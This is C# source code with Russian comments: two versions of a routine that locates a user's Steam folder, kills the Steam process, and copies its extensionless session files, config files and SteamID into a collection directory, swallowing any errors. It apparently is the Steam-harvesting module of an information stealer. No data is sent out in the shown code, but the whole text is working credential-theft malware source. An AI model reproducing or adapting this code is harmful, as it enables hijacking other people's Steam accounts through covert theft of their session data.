/// <summary> /// Метод для сбора файлов со Steam директории /// </summary> /// <param name="exp">Сбор файлов без расширений ( *." )</param> /// <param name="congfiles">Сбор файлов с config директории</param> /// <param name="name">Именная папка Config</param> /// <param name="proc">Имя процесса Стим</param> public static void Inizialize(string exp, string congfiles, string name, string proc) { // Проверяем путь к папке стим if (CombineEx.ExistsDir(SteamPath.GetLocationSteam())) { CombineEx.CreateOrDeleteDirectoryEx(true, CombineEx.CombinePath(GlobalPath.Steam_Dir, name), FileAttributes.Normal); CombineEx.CreateFile(false, GlobalPath.SteamID, SteamProfiles.GetSteamID()); // Закрываем процесс чтобы можно было скопировать файлы. ProcessControl.Closing(proc); try { // Проходимся циклом по файлам без расширения foreach (var Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), exp).Where( // Проверяем файл Unknown => File.Exists(Unknown)).Where( // Обходим файл .crash Unknown => !Unknown.Contains(".crash")).Select(Unknown => Unknown)) { CombineEx.FileCopy(Unknown, CombineEx.CombinePath(GlobalPath.Steam_Dir, CombineEx.GetFileName(Unknown)), true); } // Проходимся циклом по файлам конфиг foreach (var Config in Directory.EnumerateFiles(CombineEx.CombinePath(SteamPath.GetLocationSteam(), name), congfiles).Where( // Проверяем файл Config => File.Exists(Config)).Select(Config => Config)) { CombineEx.FileCopy(Config, CombineEx.CombinePath(CombineEx.CombinePath(GlobalPath.Steam_Dir, name), CombineEx.GetFileName(Config)), true); } } catch { } } }
public static void Copy(string Expansion, string ConfigFiles, string Name, string Proc) { if (Directory.Exists(SteamPath.GetLocationSteam()) || (!Directory.Exists(GlobalPath.Steam_Dir))) { CombineEx.CreateDir(GlobalPath.Steam_Dir); ProcessKiller.Closing(Proc); try { foreach (string Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), Expansion)) { if (File.Exists(Unknown)) { if (!Unknown.Contains(".crash")) { CombineEx.Combination(Unknown, CombineEx.Combination(GlobalPath.Steam_Dir, Path.GetFileName(Unknown))); } } else { continue; } } } catch (IOException) { } catch (UnauthorizedAccessException) { } catch (ArgumentException) { } if (!Directory.Exists(CombineEx.Combination(GlobalPath.Steam_Dir, Name))) { try { CombineEx.CreateDir(CombineEx.Combination(GlobalPath.Steam_Dir, Name)); SaveData.SaveFile(GlobalPath.SteamID, SteamProfiles.GetSteamID()); foreach (string Config in Directory.EnumerateFiles(CombineEx.Combination(SteamPath.GetLocationSteam(), Name), ConfigFiles)) { if (!File.Exists(Config)) { continue; } else { CombineEx.FileCopy(Config, CombineEx.Combination(CombineEx.Combination(GlobalPath.Steam_Dir, Name), Path.GetFileName(Config)), true); } } } catch { } } } }